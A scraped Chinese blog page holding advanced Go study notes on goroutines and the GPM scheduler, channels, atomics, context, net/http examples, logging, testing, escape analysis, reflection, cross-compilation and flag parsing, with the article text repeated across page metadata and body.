Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)","keywords":["golang"],"articleBody":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)\n使用方法：atomic.原子操作函数名\ngoroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）\n固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道\n从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道\ncontext标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）\nContext接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()\nDeadline()方法：需要返回当前Context被取消的时间（完成工作截止时间） Done()方法：需要返回一个channel，这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法：返回当前Context结束的原因 Value()方法：会从Context中返回键对应的值\ncanceler接口：规定了通知取消的Context对象要实现的接口\nempty Context结构：实现了Context接口，但是不具备任何功能（该结构体的方法是空方法），该结构被用来当做Context对象树的根（root节点），模拟一个真的goroutine树\ncancelCtx类型：实现了Context接口的具体类型，并且同时实现了canceler接口，不但具备退出通知功能，还能将退出通知告诉整个children节点\ntimerCtx类型：实现了Context接口的具体类型，并且封装了cancelCtx类型实例，具备一个deadline变量，用来实现定时退出通知\nvalueCtx类型：实现了Context接口的具体类型，并且封装了Context接口实例，具备一个k/v的存储变量，用来传递通知\ngo内置的net/http包提供了http客户端和服务端的实现，性能媲美nginx（每一个请求都有一个对应的goroutine去处理，并发性能好）\nhttp服务端\nfunc h(w http.ResponseWriter, r *http.Request) {\rfmt.Println(r.RemoteAddr, \"连接成功\")\rfmt.Println(r.Method, r.URL.Path, r.Body, r.Header)\rstr := \"hallo word\"\rw.Write([]byte(str))\r}\rfunc main() {\rhttp.HandleFunc(\"/test\", h)\rhttp.ListenAndServe(\"127.0.0.1:8080\", nil)\r}\r访问http://127.0.0.1:8080/test，就可以看到hallo word了，控制台还是输出一些有关请求的信息\nhttp客户端（get请求，这个东西也可以用来做go爬虫）\nres, err := http.Get(\"https://xiaochenabc123.test.com\")\rif err != nil {\rfmt.Println(err)\r}\rbody, err := ioutil.ReadAll(res.Body)\rif err != nil {\rfmt.Println(err)\r}\rfmt.Println(string(body))\rget参数通过r.URL.Query()进行识别\npost请求\nresp, err := http.Post(\"https://xiaochenabc123.test.com\", \"application/x-www-form-urlencoded\", strings.NewReader(\"test=hallo word\"))\rif err != nil {\rfmt.Println(err)\r}\rdefer resp.Body.Close()\rbody, err := ioutil.ReadAll(resp.Body)\rfmt.Println(string(body))\r日志标准库log（log包是go内置的）\nlog.Println() 普通日志 log.Fatalln() 会触发fatal的日志，写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志，写入日志后panic\nlog会打印日志信息的日期，时间，以及日志信息\n可通过log.SetOutput()存储日志到文件中\n日志等级（从小到大，默认输出Debug及其以上基本的日志）：\nlog.Trace（基本输出），log.Debug（调试），log.Info（重要），log.Warning（警告），log.Error（错误），CRIT（严重危险）, ALRT（严重警告），log.Fatal（严重紧急）\ngo test测试工具\n在包目录中，所有以_test.go为后缀名的文件，都认为是go test的一部分，不会被go build编译到可执行文件中\n在这些以_test.go为后缀名的文件中的函数，分为3种类型，单元测试函数，基准测试函数和示例函数\n单元测试函数：函数名前缀以Test开头的，用来测试程序的逻辑是否正常\n基准测试函数：函数名前缀以Benchmark开头的，测试函数的性能\n示例函数：函数名前缀以Example开头的，提供示例\ngo test会遍历这些符合规则的函数，并且生成临时的main包来调用测试函数，执行，返回测试结果，最后清理临时测试文件\n测试函数必须要导入testing包，例如：func TestData(t *testing.T){}\n基准测试函数：func BenchmarkData(b *testing.B)\n示例函数：func ExampleData()\ngo变量如果在声明时没有指定初始值，那么该变量初始值为该变量的类型的零值\n:=声明方式只能出现在函数中（由go自动判断类型）\ngo提供自动垃圾回收（Garbage Collector）机制，不需要关注变量的内存管理，go使用逃逸分析(Escape Analysis)技术\ngo会为变量在两个地方分配内存空间，这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间，因为go是自动管理内存空间的，不需要关心这些，但是栈内存和堆内存在性能差别很大\n如果分配到栈中，那么当函数执行完毕后自动回收，如果是分配到堆中，会在函数执行完毕后某个时间点进行垃圾回收，而且在栈上分配内存或者回收内存花销都很低，只需要PUSH（将数据PUSH到栈空间）和POP（释放空间）两个CPU指令，因此只是将数据PUSH到内存的时间，效率和内存的I/O成正比\n如果是堆中，因为go语言垃圾回收用的是标记清除算法（GC，垃圾回收）（标记要查找存活的对象，清除要遍历堆的全部对象，回收没有标记的对象）（题外知识：JavaScript垃圾回收就是用的这个标记清除算法）\n逃逸分析(Escape Analysis)：由编译器决定变量是分配到栈空间还是堆空间，当变量的作用域在函数内部，那么该变量是分配到栈空间上，反之则分配在堆空间，也就是说当变量不能随着函数结束而回收时分配在堆空间（指针逃逸），另外空接口在编译阶段难确定其参数的类型，也会发生逃逸，闭包也会逃逸\n另外当栈空间不足也会发生逃逸（因为栈溢出），栈空间被操作系统所限制大小（当栈空间不足时，发生栈溢出）\n利用逃逸分析原理提升性能：一般情况下，占用大内存的变量应该使用传指针（堆空间，虽然GC性能没有栈空间那么好，但是传指针只复制指针地址，不对值的拷贝），小内存的变量用传值（栈空间，可获得更好的性能）\n反射：指程序在执行过程中，可以访问，监测和修改本身状态和行为的能力\nGo语言提供了一种机制在运行时更新变量和检查它们的值，调用它们的方法，但是在编译时并不知道这些变量的具体类型，这称为反射机制\nGo的反射基础是接口和类型系统，借助接口自动创建的数据结构实现，反射依赖于interface类型，反射的实现靠reflect标准库\nGo语言类型分为2大类，static type和concrete type，其中static type是int，string这些在编码时能看到的类型，concrete type是runtime系统才能看见的类型（类型断言依赖于concrete type）\n因为Go语言是静态语言，在编译阶段已经被确定了类型，使用interface类型的变量有一个pair，pair被用来记录了实际变量的值和类型，并且这个变量有2个指针，一个指向concrete type，另一个指向实际值\nreflect.TypeOf()：该函数的参数是一个空接口类型，返回值为一个type接口类型，返回一个type的接口变量，通过接口抽象出来的方法访问具体类型的信息（用来获取反射对象pair的type）\nreflect.ValueOf()：该函数的参数是一个空接口类型，返回值为一个Value类型的变量（用来获取pair的value对象），\nreflect.Kind()方法：该方法没有参赛，返回值是字符串类型（用来获取具体类型struct）\n例如：\ntype Testint int64\rvar num Testint = 666\rfmt.Println(\"type: \", reflect.TypeOf(num))\rfmt.Println(\"value: \", reflect.ValueOf(num))\rfmt.Println(\"kind: \", reflect.TypeOf(num).Kind())\rGo 交叉编译（在一个平台上生成另一个平台的可执行程序）（Mac/Linux/Windows下）\nWindows下编译Mac,Linux\nLinux\nSET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go\nMac\nSET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go\nLinux下编译Mac,Windows\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\nMac\nCGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go\nMac下编译Linux,Windows\nLinux\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\n其中CGO_ENABLED=0来控制go build是否使用CGO编译器，1为使用CGO编译器，GOOS表示编译成什么平台的（linux/windows/darwin/freebsd）,GOARCH表示编译成什么平台的体系架构（386/amd64/arm，32位，64位，ARM）\n注意：CGO是Go代码中调用C代码交叉编译，但是交叉编译不支持CGO，因此如果存在C代码是不能编译的，需要禁用CGO\ndep包管理工具\n命令行参数解析（依赖于内置flag包）\n导入flag包\nimport flag\n定义参数\npass := flag.String(\"pass\", \"123\", \"密码\")\r可以看到flag.Type方法接收3个参数，分别是flag名，默认值，提示\nflag支持Int，Int64，Uint，Uint64，Float，Float64，String，Bool，Duration（时间间隔）等类型\n还有一种定义参数的方式\nvar pass string\rflag.StringVar(\u0026pass, \"pass\", \"123\", \"密码\")\r定义完毕参数后，使用flag.Parse()解析，命令行中指定pass，pass的数据将会保存在pass变量中\nflag其他常用函数\n返回命令行参数后（未定义的参数）的其他参数 flag.Args()\n返回命令行参数后（未定义的参数）的其他参数个数 flag.NArg()\n返回命令行参数（定义的）的个数 flag.NFlag()\n例如：\nfunc main() {\rvar pass string\rflag.StringVar(\u0026pass, \"pass\", \"123\", \"密码\")\rflag.Parse()\rfmt.Println(pass)\rfmt.Println(flag.Args())\rfmt.Println(flag.NArg())\rfmt.Println(flag.NFlag())\r}\r./test -pass hallo\n可使用-help参数查看参数提示\n","wordCount":"347","inLanguage":"en","datePublished":"2022-01-16T09:08:00Z","dateModified":"2022-01-16T09:08:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/128/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Golang进阶扩展笔记</h1><div class=post-meta><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Golang%e8%bf%9b%e9%98%b6%e6%89%a9%e5%b1%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html</p><p>并发</p><p>go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）</p><p>内核态：程序执行操作系统层级的程序时</p><p>用户态：程序执行用户自己写的程序时</p><p>常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构</p><p>CSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出</p><p>小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手</p><p>go的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了</p><p>Go运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）</p><p>goroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB</p><p>GPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）</p><p>Goroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息</p><p>Processor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信</p><p>Machine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）</p><p>简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M</p><p>P的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）</p><p>GPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）</p><p>因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换</p><p>runtime.Gosched()：让当前任务让出线程占用，给其他任务执行</p><p>runtime.Goexit()：终止当前任务</p><p>通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道</p><p>对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致</p><p>对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了</p><p>无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作</p><p>有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）</p><p>任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务</p><p>注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的</p><p>锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗</p><p>原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割</p><p>在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包</p><p>sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作</p><p>因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）</p><p>增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)</p><p>载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)</p><p>存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)</p><p>交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)</p><p>比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)</p><p>使用方法：atomic.原子操作函数名</p><p>goroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）</p><p>固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道</p><p>从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道</p><p>context标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）</p><p>Context接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()</p><p>Deadline()方法：需要返回当前Context被取消的时间（完成工作截止时间）
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Golang进阶扩展笔记","item":"https://chenjunlinabc.github.io/posts/128/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Golang进阶扩展笔记","name":"Golang进阶扩展笔记","description":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等